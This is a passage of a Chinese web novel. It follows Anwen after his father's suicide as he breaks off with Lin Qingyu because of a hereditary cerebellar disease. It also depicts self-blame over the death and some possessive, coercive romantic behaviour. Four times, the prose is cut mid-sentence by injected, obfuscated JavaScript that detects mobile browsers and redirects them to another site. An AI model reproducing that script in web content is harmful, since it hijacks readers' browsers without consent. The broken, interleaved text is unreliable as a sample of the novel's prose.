安闻把骨灰盒盖子盖上,抱着骨灰盒往后面公墓走,这一段路园区有专车接送,但安闻还是抱着骨灰盒,自己走上了山。 后面这块墓,是昨天连夜买的,墓碑是昨晚加急请师傅刻的。 墓碑落款:孝子安闻立于XX年八月十六 安闻把骨灰盒放进去,公墓管理人员和殡葬司仪帮忙盖好。 “孝子,我们就先走了,你和父亲好好告个别。”殡葬司仪跟安闻打招呼。 安闻环视一周,山清水秀的,是个好地方。 从昨天到现在,殡葬司仪一直叫自己“孝子”或者“家属”,墓碑上刻着的也是“孝子”。 安闻觉得真是讽刺,冷风刺骨,这个称呼更刺骨,父慈子孝,安黎明和自己,谁也配不上这两个词。 他找了墓碑旁边的台阶坐下,天很蓝,安闻抬头看看天,很久没见过这样晴朗的天了。 山里的风真大,他缩缩脖子,把衣服上的帽子扣在头上,头趴在膝盖上,就像林清宇每次在门口等自己时一样,团成一只蘑菇。 不想动,一点儿也不想动。 脚步声传来,带着黑土黄泥的白色运动鞋出现在视野里。 这个墓园一个人都没有,安闻抬头,盯着眼前的人看了半晌,终于反应过来,“你怎么来了?” 林清宇蹲下,揉了一把安闻的头,又拽过安闻的手攥在自己温热的手掌里,“山下等你半天,没见你下来。” 安闻抽回手,揣进自己兜里,又低下头,“我想一个人待一会儿。” 林清宇不由分说地拽起安闻,拉着他的手腕就往山下走,“那就换个地儿待着。” 在开了空调的车里暖了一路,安闻才恢复了知觉。到家后,他提前一步跳下车,把林清宇堵在车里,“我回家了,你快回学校上课吧。” 林清宇愣了一下,又木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137995|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讷地坐回去,“那我晚上放学来看你。” 安闻没有说话,转身进了院子。 接下来的几天,兰胜男回家来住,林清宇每天放学都会过来,见不到安闻,就跟兰胜男聊聊学校的事情,问一问安闻今天的情况。 安闻除了去公安局取安黎明的死亡证明,三四天没有出过自己的房间。 终于在周五的中午,林清宇心急如焚,撬开了安闻的房门。 房间里窗帘拉着,黑漆漆一片,安闻没有在床上。 林清宇走进去,看到坐在地上的安闻,借着门口透进来的光,他看到了安闻手里攥着的安黎明的死亡证明。 安闻抬头,被门口的光刺了眼睛,他伸手捂住眼睛,嘶哑的声音问道,“你怎么来了?” 林清宇把死亡证明从安闻手里拽出来,放在床头柜上,又把手里的热牛奶塞进安闻手里,然后跟他一起坐在地上,“我来看看我未来男朋友。” 举起牛奶杯子的手在空中一顿,缓缓地送到嘴边,牛奶刚入口的时候,嗓子眼有些疼,喝了几口之后,感觉没那么疼了,他把杯子放下,再次抱住自己的膝盖。 林清宇坐在旁边,和安闻胳膊贴着胳膊,“我给你当垃圾桶,你说吧。” 安闻转头,看着他,又回到了鸵鸟状态,但是林清宇看得出来,他的脊背没那么僵硬了。 这人就这个习惯,心情不好时想倾诉,嘴巴一直说着没完,好像嘴巴不停压力就会源源不断地泄出去。 等了很久,安闻终于开了口。 “林清宇,我没有爸爸了。”安闻的眼泪突然涌出来,把自己都吓了一跳,他偷偷把眼泪蹭在膝盖上,带着鼻音开口,“我以为我不会为他哭的。殡葬司仪说,眼泪不要滴在骨灰里的时候,我心里还暗暗嘲讽,我怎么可能会为他掉眼泪。可是,林清宇,我也痛,好痛啊。安黎明没有教养过我,他做事禽兽不如从没考虑过我,可是他就是我爸啊。我前两天去公安局给他办死亡证明,亲手把他送进焚化炉,去派出所给他销户口。这个人消失了,他确确实实从我的世界里消失了,从这个世界彻底消失了。” 安闻吸了一下鼻子,强忍着哽咽,“我再也没有爸爸了。林清宇,你能理解吗?我再也没有爸爸了。如果他活着,我至少有个人可以叫爸,哪怕他是个摆设,我也有爸爸。可是他死了,我以后连能叫爸爸的人都没有了。一个人,前一天,还在和我吵架,说死就死了。” “那天晚上,我去厨房看了一眼,我给他熬的羊汤,他一口没喝过。”安闻泪如泉涌,呜咽着,“安黎明连死都没有考虑过我。” 他的情绪突然有些失控,用手紧紧抓着自己的裤子,脸埋在膝盖里,“林清宇,他自己选了个日子,以后在万家团圆的日子,在我生日的第二天,我要给他过忌日......怎么会有这么自私的人。死也不叫人安生。” 林清宇把手轻轻抚在安闻背上,紧抿着嘴唇,眼角洇红,他想抱抱安闻,却被安闻一把推开。 “林清宇,你知道吗?安黎明......是我害死的。” 77.疏离 林清宇一怔,全身的汗毛都立起来了,他看着安闻认真的脸,不顾安闻的反抗,把他紧紧箍在怀里,“安闻,不是的,不是的,你记得我跟你说过吗?不要把错误揽在自己身上,安黎明是自己找死,跟你没有关系。” 安闻不再挣扎,乖乖地伏在林清宇肩上,冷静地说着让人惊悚的话,“林清宇,就是我害死安黎明的。如果我不跟他吵架,顺着他,他不会想去寻死。” 林清宇不知道该说什么,他只是心疼,心都快碎了地重复着,“安闻,不要这样。” “我问过警察,安黎明的死亡时间是16:50分左右,一氧化碳中毒到死亡的时间差不多是一小时。”安闻不再流泪了,他伏在林清宇肩膀上,神情冷漠,“15:50的时候,我就在安黎明门外,我听到了玻璃破碎的声音,那一定是他在求救,可是我没有救他。我看到尸体的时候,警察说他是趴着的,趴在快到门口的过道上。” 林清宇箍着他的手收紧,他不想让安闻继续说下去了。但安闻偏要说,他冷笑着,那笑让林清宇害怕,“安黎明后悔了,他往出爬,可是他爬不动,那时候我就在门外敲门,他听见了,他打碎了玻璃杯,他希望我救他,可是我没有。他就死在了离我两米远的地方。” “安闻,不要说了。”林清宇双眼通红,也是泪流满面。 “林清宇,我是坏人,我是杀了安黎明的凶手,你被我骗了。你们都被我骗了。”安闻的笑声令人心惊,明明是笑,林清宇却一身冷汗,头皮发麻,他试图去吻掉安闻的眼泪,被安闻推开了,此刻的安闻像一个刽子手,一刀一刀地捅在林清宇心上。 “林清宇,我骗了你,我不喜欢你。我跟你也没有什么未来,高考之后只是托辞,想骗你帮我考上H大而已。最开始,你想得对,我就是看上你家的钱,既然你爸能给我钱,那你也没有什么用。”安闻哽了一下,又迅速接上,“后来你学习太好了,而且还一直缠着我,我觉得你能帮我考上H大,所以再次骗了你。” 林清宇突然钳住他的下巴,强迫他看着自己,“那现在怎么不骗呢?” 安闻的眼睛想要躲,又被擒回来被迫看着林清宇,那双眼睛黑黝黝的,里面有一捧清泉,他感到疲惫和无力,连着声音都软了下来,“林清宇,我累了,骗不动了。” 林清宇扑上来吻他的唇,语气急切带着恳求,“安闻,继续骗我好不好?好不好?” 安闻错开脸,扶着床沿站起来,残忍地宣判,“林清宇,我不想了。” 林清宇一脸茫然,长久的沉默。 “林清宇,我不想了。以后不要再来往,我们就当没有认识过。你不是同性恋,回到人群中去吧。”安闻给林清宇扶住了门,“走吧,过你自己的日子去。” 林清宇摇摇晃晃地站起来,脑袋里乱七八糟地消化着刚才说的一切,他试图让自己冷静下来,安闻刚才语无伦次,他需要冷静下来,梳理一下。安闻此刻在情绪上,他不能再刺激他了。 林清宇走出门去,像往常一样,回头对安闻说,“我明天再来看你。” 强挤出来的笑实在太难看,林清宇收了嘴角,转身迅速离开。 可刽子手的凌迟还没有结束,他跑得那么快,还是躲不过安闻的声音,“不用再来,我家的门永远不会再为你而开。” 安闻看着林清宇一步一步走远,最后跑起来的时候还踉跄了一下,林清宇早就看不见了。可安闻还是站在门口,盯着那个方向看了好一会儿。 他想,话说得这么狠,一点儿余地都没留,这回是真的要靠自己考大学了。 *** 林清宇说到做到,周六上午又来了。 安闻听到门铃声,就知道是林清宇,他没有动。兰胜男去开了门,门口传来寒暄的声音,说不在意是假的,安闻竖起耳朵听,又觉得自己实在是可笑。 他起身进屋,随手把门反锁,却发现昨天下午林清宇撬门的时候,把门锁卸了。 林清宇三步并两步进了屋,就看到了看着门锁发呆的安闻。他像个没事人一样,拿出新锁,笑着安抚,“我来帮你修门。” 安闻不说话,转身要走,在路过林清宇的时候,被猛地一推,贴在了墙上。 林清宇的脸凑近,安闻躲避得偏过脸,引来一阵嘲笑,“安闻,你在期待什么?”他的手捏住安闻的下巴,轻声威胁,“我不是要亲你,只是警告你,如果你出去,我会在客厅吻你。当着兰姨的面。” 安闻握着拳头,语气生硬,“你想干什么?别发疯。” “你乖乖的,我就不发疯。”林清宇松开他,继续低头修锁,“我说了,我来帮你修门。” 兰胜男在客厅看电视,安闻看了一眼她,又默默地坐回床上,赌气地沉默。 门锁修好,林清宇试了一下,然后向着客厅汇报,“兰姨,安闻的锁我修好了。” “好的,谢谢你呀,小宇。”兰胜男看了一眼安闻的卧室方向,坐在沙发上没有动,“宝宝,你谢谢小宇呀。” 林清宇把房门锁住,电视的声音被隔绝在卧室之外,房间里只剩两个人的呼吸声,安闻攥紧了床单,向后挪了挪,炸毛地警告,“林清宇,我妈就在外面,你不要发疯。” 林清宇将近一米九的身高,阴鸷起来安闻确实有些打怵,最主要是,林清宇是疯的,安闻不知道惹急了他,他会做出什么不管不顾的事来。 他警惕地看着林清宇慢慢走近,然后蹲在自己面前,一双桃花眼含情脉脉地看着自己。 安闻是个吃软不吃硬的性格,林清宇早就摸得通透,来硬的只会鱼死网破。 他抬头看着安闻,神情凄楚可怜,像是被抛弃的小狗儿。 安闻的狠话都梗在咽喉里,吐不出来。 “安闻,你不可以这么残忍。我原本以为我没有机会的,那时候我没有奢望, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149586|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只想守着你就好。”林清宇伸出手,露出左手手背的虎口位置,“我把有你一切能留存的东西都保存起来,我把痂一遍一遍抠破,就为了留下你的牙印。我做好了守着回忆过一辈子的准备。” 林清宇用那只带着牙印的手去摩挲安闻的脸,像抚摸着稀世珍宝般轻柔,“可是,你给我希望了。我知道你昨天说的话是骗我的,你喜欢我,生日那天晚上,你所有的表现都在说,你喜欢我。你不能这么残忍,你不能给了我希望又收回去,这样对我太残忍了。” 林清宇的嘴唇颤抖,眼尾带了一抹红,睫毛湿湿地粘在一起,他哭了。 安闻的手松开了床单,又攥紧,他沉默着不说话,眼角的晶莹却出卖了他。 林清宇把头埋在安闻腿上,带着浓重的鼻音,闷闷地说,“我不是同性恋,我的性向是你,只有你。你不要再说什么回到人群中区,没有人群,自始至终只有你,我只要你。你给了我希望,就不要收回,好不好?” 安闻感觉到自己裤子的湿热,是林清宇的眼泪。 他抬起林清宇的头,用手温柔地擦掉了林清宇脸上的眼泪。 语气温柔又认真地和盘托出,“林清宇,我有病,我们不能在一起。” 如果安闻还是昨天的态度,林清宇有一万种应对办法。 可是安闻没有,他的平淡让林清宇心慌。 他避开安闻的眼光,故作轻松,“我有药,你要不要试一试?” 安闻不理他的玩笑,继续说道,“等以后,我会看东西模糊重影。” 林清宇六神无主,他强迫自己为安闻接下来的话找理由,“近视眼没事的,我也有,我上课还戴眼镜呢。” “我会走路不稳。” “那是扁平足吧?我也有,穿足弓鞋就行了。”他强装镇定,却不敢抬起头来直视安闻的眼睛。 “我会说话不清楚。” “变声期吗?我也有过,只是你来得比我晚。”林清宇开始语无伦次了,他不管不顾地想堵住安闻的话,可是他又实实在在的感受到:这次,安闻真的离自己越来越远了。 安闻还是一脸平静,不接林清宇的话,只是单纯的陈述。 “我不能生孩子。” 如果现在林清宇面前有一面镜子,那他一定会见识到什么叫做笑得比哭得还难看,他皱着一张脸,嘴角僵硬地上翘,“你生物也没学好是不是?咱俩一样的,我也不能生孩子。” 这回轮到安闻卡住他的下巴,强迫他看着自己,“林清宇,我跟你不一样,我跟谁都不能生孩子。” 林清宇颓然地坐在地上,还在挣扎着,“我又不用你给我生孩子,真的没关系的。” 他倏地眼睛一亮,满怀希望地看着安闻,“你是不是那方面不行?没事的,如果你担心这方面的问题,没关系的,以后我出力,我行。你不能生孩子,我不想要孩子,咱俩就是天造地设的一对。” 78.再见 安闻彻底哑火,他拉起林清宇,拍了拍他的手臂,“司机在外面等你吗?” 林清宇机械地点头。 “走,带你去个地方。”安闻拿起衣服,拽上林清宇往外面走。 林清宇的脚像灌了铅,他知道,安闻要带他去“刑场”。 他本能地逃避,“我今天有点累,不想去。” 没有给他逃避的机会,安闻生拉硬拽地把他塞进车里,“逃避没有用,总要让你死心。” 安闻带着他来到了一栋居民楼,他打了一通电话,“安皓,出来接我一下。” 不到三分钟,一个男孩儿从楼里匆匆忙忙跑出来,跟门口的保安打了声招呼,就热情地冲安闻摇摇手,“哥,你怎么来啦?” 安闻拽着林清宇往里走,“跟朋友路过,顺路就来看看叔叔。” 临到门口,安皓拉了一下安闻,小声商量,“哥,四伯去世的事情,我们都瞒着爸爸呢。” 安闻表示自己有分寸,不会乱说,就带着林清宇进了门。 安义森正坐在餐桌边,婶婶在给他喂饭,看见安闻来了,伸出手打招呼,那手颤抖比声音抖得厉害,“闻啊......来啦......” 因为说话含糊不清,为了说清楚话他用力过猛,呛咳起来,把嘴里的饭喷了满桌子都是。 婶婶抚着他胸口,帮他捋顺,嗔怪道,“小闻又不走,你着什么急,慢点说。” 安皓拿着纸,一下一下给安义森擦嘴,擦干净之后,不好意思地跟林清宇道歉,“我爸吃东西容易呛咳,这情景也不好留你们在家吃饭了。哥,我带着你们出去吃点儿吧。” 安闻看了一眼身边呆滞的人,笑着拒绝,“我本来就是路过,突然过来打扰你们了,就不吃了。我和我朋友先走了。” 说完他拉着林清宇就走了,这时,林清宇也不抗拒了,顺从地跟着安闻的脚步。 到了车跟前,安闻松开林清宇的手腕,“你看到了,我有病,家族遗传病,大伯和姑姑已经因为这个病去世了。我爸虽然是自杀,但是如果他没死,离发病死亡也没有多远,叔叔算病情控制地好的,三伯现在也发病了。” 林清宇缓过来一些,他以为安闻说得病是什么绝症,没想到竟然是家族遗传病。安黎明发病之后就办了病退,林清宇没见过安黎明发病的样子,有时看到他走路不稳,只以为是喝多了摇摇晃晃。 安闻见他不说话,以为他是被吓到了,心下了然,他定定神,给两人的关系画了句号,“所以,林清宇,除非世上有奇迹,我们永远不可能在一起。” “我照顾你。”林清宇突然发声。 安闻愕然,林清宇说话声音小,但是安闻听清了,他说,他照顾自己。 这句话比任何情话都好听,安闻差点沦陷,他闭上眼睛清除思绪。 睁开眼睛又是另一副光景,“这是家族遗传的小脑萎缩,我可能三十多岁就会发病,就像你看到的,走路摇摇晃晃,只能坐轮椅,说话含糊不清,吃饭喝水呛咳,再后来还会忘记很多事情。我以后就是这个样子,你要来照顾我吗?” 林清宇不知道经历了怎么样的挣扎,他倔强地看着安闻,语气坚定,“我可以。” “可是我不可以!”安闻情绪突然爆发,“林清宇,我不可以!我不想被你看见这么狼狈的样子,然后在无尽的痛苦里,慢慢磨没了爱,只剩下煎熬。” 他抱着头蹲在地上,痛苦地嚎叫,“你上下嘴唇一碰,轻易地许诺。可我不敢,林清宇,我不行。” 安闻小小的一团蹲在地上,看上去可怜又可悲,林清宇上前想抱抱他,被他一把推坐在地上。 “别碰我!”安闻抱紧了自己,排斥林清宇的接触,声音逐渐撕心裂肺,“离我远点,林清宇。” “我相信你,但我不想拖累你,我和你一样,有了希望就会得寸进尺,我受不了失望,我受不了爱情变成亲情,受不了爱情变成责任,我已经成为我妈妈的负担了,我受不了自己再成为你的负担。唔......林清宇......放过我......我真的不行......” 林清宇的手被地上的石子划破,可他丝毫感觉不到疼,也看不到地上的血。 满心满眼的安闻,满心满眼的就只剩下心疼。 他懂了。人人都说安闻好相处,人缘好,说他像太阳,说他温暖明亮,说他积极向上。等林清宇慢慢靠近,一步一步走进了安闻的内心,他才恍然发现,太阳一直在对外输出,太阳的光向外发散,不会穿透自己回到地心,就像安闻的心,一片漆黑泥泞。 黑暗里裹挟着安闻的爱与恨。他恨安黎明,恨他自己,恨天道不公,甚至恨兰胜男不愿放弃自己。这也是安闻的爱,他爱兰胜男,爱林清宇,甚至渴望着安黎明的爱与被爱,可就是不爱他自己。 林清宇能感受到安闻的阴郁,能体会到安闻的满不在乎,也能察觉安闻的警觉与防备,更能体会到,安闻层层叠叠的坚硬外壳下,向往着过太阳一样的生活。 他努力把自己包装成乐观开朗的样子,他喜欢这样的生活,也喜欢这样的自己,可是他做不到。所以,安闻只能努力地掩饰、努力地包装,给自己套上一层一层的壳。这些壳,其实都是安闻内心渴望成为的样子。 林清宇越想越不舒服,越想越窒闷,胸口像压了一块滚烫的石头,憋闷得喘不上气来。他暗自懊悔,自己对安闻的了解,真的太少了。他根本不知道安闻过的什么日子,受的什么煎熬。 此刻的安闻像一只戒备的刺猬,柔软的肚皮收了起来,露在外面的都是刺,拒绝任何人的靠近。 安闻在自我保护,他不相信承诺,不相信爱,林清宇说什么都无济于事。两个人明明相爱,却在煎熬。 手上的伤口已经干涸,心上的伤口却一直滴血。令林清宇难过的,不是不能和安闻在一起,而是安闻封闭了自己,给他的世界上了一把锁,这锁的钥匙在他自己手里,林清宇无能为力。 林清宇站起来,拍拍安闻的后背,感受到他的抗拒,他收回手,声音涩哑,“安闻,走吧,我送你回家。” 安闻没有抬头,声音闷闷的表示拒绝,“不用你送,我自己回。” 林清宇没有动,后退了一步,再次妥协,“我不碰你,也不会纠缠你,看你回了家我就走。”他垂下睫毛,像是自言自语,“我总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166178|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是会顺着你的。” 兰胜男在家,招呼他进屋,林清宇礼貌回绝,“阿姨,安闻到家我就放心了,我家里还有事,先走了。” 安闻没有说话,红着眼睛进屋,哭了太多,这两天又没怎么吃东西,他渴急了,嗓子也疼得厉害。 厨房正在烧水,水壶里的水咕嘟咕嘟往上冒。 安闻:“林清宇,你有没有想过,为什么水壶烧水时,气泡总是往上冒?” 林清宇:“因为加热源在下面。” 安闻:“那如果加热源在上面,气泡就会往下冒吗?” 林清宇:“不会,你是傻子吗?气体的密度比液体小。” 安闻闭上眼睛,思绪闪回到林清宇赖在自己家的那天,两人拎着两个小板凳,趴在料理台边观察水壶。一睁眼睛,天翻地覆,林清宇再也不会出现在自己旁边了。 他看着那水壶出神,微微一笑,既是祝福又是希望,许愿道,“林清宇,我们都要做气泡,永远向上走。” 兰胜男听见水烧开的声音,却看着安闻在水壶边站着一动不动,她走进来关了电磁炉,望了安闻一眼,轻声询问,“就是他吧?” “什么?”安闻回神。 “你喜欢的人,就是小宇吧?”兰胜男说。 安闻盯着兰胜男看了几秒,确认她的脸上没有愤怒生气吃惊的任何情绪,才坚定地点头承认,“是,妈妈,就是林清宇,我喜欢他。” 兰胜男拿糖罐子的手顿了顿,轻声问道,“那他知道吗?” 安闻接过糖罐,数了五粒冰糖放进水杯,“妈妈,你不生气吗?我喜欢男生。” 兰胜男给他的杯子注满水,平静地说,“吃惊是吃惊的,但事到如今,也没什么生气的情绪了,妈妈只希望你开心。” 她放下手里的水壶,温柔得抚摸安闻的脸,安闻长高了,她需要抬手才能够到他的脸,“宝宝,只要你开心,妈妈做什么都可以。你告诉妈妈,小宇他是什么态度?” 安闻察觉她的意思,反握住兰胜男的手,“妈妈,别......不需要你为我做什么,我现在很好,很开心,心里卸下了一块大石头,我真的开心的不得了。” 兰胜男吸了一下鼻子,靠在料理台上,“妈妈想如果小宇也喜欢你,或许我们可以试一下。” “不要。”安闻坚定地拒绝,“妈妈你知道的,我不想要别人的同情。” 他抱住兰胜男,声音温柔却毫不含糊,“妈妈,但是白姨帮了我们那么多,你只知道心疼自己的儿子,可是林清宇也是白姨的儿子。” 安闻是了解兰胜男的,她心软善良,可是经历了这么多,难免会为了儿子钻牛角尖,她想去求白月洁,赌上多年的姐妹情谊,去求白月洁一个成全。 可是要白月洁成全什么呢?成全自己和他儿子在一起?成全他儿子一辈子不结婚不传宗接代?还是成全他们家照顾自己这个病人到死? 兰胜男何尝不知道这个道理,只是慌不择路。现在在安闻的安抚下镇定下来,她把眼泪擦干,无奈地问道,“那妈妈还能为你做什么呢?” 安闻垂下睫毛,淡淡道,“帮我办个转班手续吧。” 79.煎熬 周一,是安闻销假的日子,但是林清宇早上并没有在安闻家接到安闻。兰胜男说,高三学习压力大,安闻办理了住校手续,昨天晚上就搬进宿舍了。 林清宇赶到学校,路上还买了两杯皮蛋瘦肉粥,但安闻的座位是空的。 手里的粥凉了,林清宇拜托靠近暖气的同学帮忙热。直到早自习铃响,安闻也没有出现在小班。 早自习下课,梁米过来小班,跟卢远一起帮安闻收拾了东西。林清宇才得知安闻以跟不上小班学习进度为由,转回了(1)班。 “他现在和你住在一个宿舍吗?”林清宇问梁米。 “嗯。昨天下午搬进来的。”梁米支支吾吾,终于说了正题,“安闻让我转告你,高三很重要,你好好复习不要再找他。不然......嗯......” 林清宇等不及梁米说话,站起来就要往(1)班去,梁米拽他的胳膊,小声转达安闻的意思,“别逼他转学。安闻说,你如果去找他,他就会转学。” 林清宇泄了力气,坐在安闻的座位上,嘴角无力地扯了扯,“他总是懂得怎么拿捏我的。” 高三很重要,转学要重新适应新学校和新进度,基本就等于放弃了冲刺名校。况且Q市没有比一中理科更好的学校,安闻这是在划清楚河汉界,是告诉林清宇自己的决心。 林清宇了解安闻,他是一个积极向上的人,无论何时都不会放弃前进,所以高三时期转学也许只是拿捏自己的手段,但是林清宇不敢赌。 他怕把安闻逼急了,安闻真的会走极端。 “林清宇。”卢远在旁边听得云里雾里,终于按捺不住敲着他的桌子问他,“能把安闻逼急了,你也真行啊?也就是你,我都没见过安闻跟谁这么生过气。” 梁米看了他一眼,上蹿下跳什么都不知道的样子,像极了瓜田里吃瓜又吃不到的猹。 “你家女神在召唤你。”他拍拍卢远的肩膀,施以同情的目光。 罗晴三秒之后到达战场,揪住卢远的耳朵就开始数落,“昨天那道物理题研究明白了?你看看你给我的卷子,上面写的什么乱七八糟的,只有结果没有步骤......” 进入高三之后,大家就没在一起复习了。但是每个人都有自己的学习搭子,根据自己的复习进度灵活复习。 卢远也算是守得云开见月明吧,罗晴虽然没有松口,但是明显对卢远的学习比较上心,卢远天天嘴上嘟囔着煎熬,心里却美滋滋的,罗晴一天不管他,他就上赶子把自己耳朵送上去。 梁米收拾完安闻的东西,靠在桌子上劝林清宇,“安闻是个上进的人,他从昨天晚自习补了进度,昨晚在宿舍又学到凌晨两点。我不知道你们发生了什么事情,但高考真挺重要的,不管对你还是对他。” 他抬手指了下黑板,“还有227天,你们两个都冷静一下,把心思放在高考上,不要这这个关键时刻闹出什么事情来。” 梁米说的林清宇怎么可能不清楚,现下再也没有别的办法。 他帮梁米把书搬到班级门口,又从书桌里拿出一本蓝色笔记本放在上面,“你上周的课没怎么听明白,跟卢远借了笔记。回去和同学好好看。” 梁米抱着肩膀看他表演,似笑非笑地答应,“知道了,我晚上回宿舍,跟同学好好看。你不考表演专业真可惜了。” 托安闻的福,梁米现在认为,自己没有进入小班是因祸得福。 林清宇动不动送吃送喝送温暖,梁米作为中间商当然要赚一波差价,吃拿卡要,雁过拔毛,一个学期长了二斤肉不说,成绩还往前蹿了十多名。 安闻自从回了(1)班,一门心思在学习上,除了吃饭上厕所,没有任何其他活动,每晚熬到凌晨两三点,体重肉眼可见的下降,梁米看着都觉得恐怖。 晚上梁米睡觉时,安闻在伏案学习。早上梁米起床时,安闻在阳台背语文课文。中午梁米吃饭时,安闻在塞着耳机听英语听力。周末休息梁米回家,安闻在宿舍掐表做卷子。 他像一个装着永动机的机器人,不知疲乏地把知识往头脑里塞。 付出就有回报,安闻一模考试692分,稳稳的(1)班第一,超过第二名快20分,在年级排名第十五。 发榜那天晚自习下课,安闻先回了宿舍。等梁米回到宿舍的时候,就看到了一个对着成绩单发呆的安闻。 宿舍没有开灯,只有安闻书桌前有一抹台灯的昏黄。 考试结束,紧张的神经得以片刻的放松,安闻没有学习,桌面只有一张成绩单,书桌右上角整整齐齐的摆放着四个笔记本,下面三本是薄荷绿的,上面一本是蓝色的,梁米认得出,这四本都是林清宇整理的笔记。 安闻就直愣愣地坐在椅子上,盯着成绩单发呆,看上去落寞又羸弱。 梁米开了宿舍灯,走进去。安闻被灯光晃了眼,情绪无处藏匿,他抬起手捂住了眼睛。 梁米避开了成绩单的位置,把手里的快餐盒放在安闻书桌上,“吃点吧,晚上就没怎么吃饭。” 安闻应了一声,把手从眼睛上拿下来,迅速地低头拆餐盒,可梁米还是在这个短暂的间隙里看到了他泛红的眼眶。 他叹息一声,放下书包,“既然舍不得,为什么要这样煎熬呢?” 安闻没有接话,反而问梁米,“方便面哪里买的?” 梁米倚靠在安闻的书桌边,用手指点着他的桌面,“你知道答案,却还要明知故问。是为了什么?” 安闻低下头吃了一口面,酸酸辣辣,有香菜,是他最喜欢的冬阴功口味。 “为了听我骗你?我在食堂档口买的,这样你吃着安心吗?” “还是说,你想听我说实话?” 梁米的诛心并没有要停下来的意思,看着安闻把头埋在碗里,更是火冒三丈。 “我就不明白了,林清宇哪里欠了你?要被你这么折磨!” 安闻甚至眼皮都没有抬一下,嘴里塞满了面,大口咀嚼着。 “他自己也要高考,还费心思给你整理笔记。怕你熬夜太晚饿肚子,想着法子托我给你送东西。你放学拍拍屁股就回宿舍了,林清宇拉着我,给我讲习题,让我回了宿舍再讲给你。你以为你爸的遗传继承为什么那么快就办下来了?是林清宇托人去公证处打了招呼。还要叮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166179|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘱我,什么都不要跟你说。安闻,你到底长没长心啊?林清宇对你还不够掏心掏肺吗?你不喜欢他就算了,快刀斩乱麻,两个人老死不相往来。可是你明明也喜欢他,那你闹这一出是为了什么呢?” 这一口终于咽下,面太烫,蒸汽把安闻的眼睛熏得雾气蒙蒙。 他抬头,看着梁米为林清宇打抱不平,语气平和地提出建议,“你与其劝我,不如劝他,我就是白眼狼,在我身上浪费这么多精力和钱,真的不值得。” 这三个月,梁米感觉安闻变了很多,以前的他会呛声,会争辩,甚至会对打。但现在就只是轻飘飘地承认,对,我就是白眼狼。 不挣扎,也不解释,照单全收。 梁米看着心疼,作为一个旁观者,两个人明明是相互喜欢的,却要受这种折磨。 他拉来椅子坐下,苦口婆心地劝道,“我不知道你们发生了什么事情,让你现在这么抗拒。但我觉得,我们还小,遇到喜欢的人,赌一把也无妨。赌赢了,皆大欢喜。赌输了,重头再来呗。” 梁米趴在安闻书桌上,侧着头看安闻,手指不受控地在桌面上画圈,“我就是赌输了,但我也不后悔。跟你说那么多他的话坏话,其实都是气话。我想过无数次,他回来了我会怎么样,一开始想不理他,晾着他,让他看看我现在的生活,没他也过得很好,甚至更好。” 眼角一滴泪滑落到桌子上,被手指划开,梁米沾着眼泪写着那个让自己刻骨铭心的名字,“现在我没想那么多了,只想他能回来,出现在我面前,还是像第一次见面一样,点一支烟,聒噪地在我耳边说说笑笑。” 安闻全神贯注地看着他用手指书写“赵鸣飞”的名字,梁米的手指有些抖,声音也跟着呜咽,原本是对安闻的劝解,现在变成了他自言自语的发泄,“可是他没有回来,他不会回来了。我的等待成了无尽的笑话,我不想等了,可又忍不住等,等一个万一,万一他后悔了回来找我呢。” “如果当初知道会分开,那我一定更加珍惜和他在一起的时间,不那么扭捏,也不惹他生气,这样现在,我还会有很多美好的回忆。”桌上的眼泪干了,留下斑驳的名字,梁米吸了一口气,抹干眼睛,“安闻,说真的,我看见你和林清宇互相喜欢,真的非常非常非常开心,还有那么一点儿嫉妒。你知道同性恋两情相悦有多难吗?长情又相爱的同性恋,堪比世界第九大奇迹。” 安闻终于吃完了桌上的面,他把盒子收起来,转过身子面对梁米,清醒又残忍地宣布,“这世界从来就没有什么奇迹。” 说罢,拎上垃圾袋出了宿舍,身后传来梁米的不平之吼,“你一边接受着他对你的好,一边又要伤害他,安闻,你没有良心!” 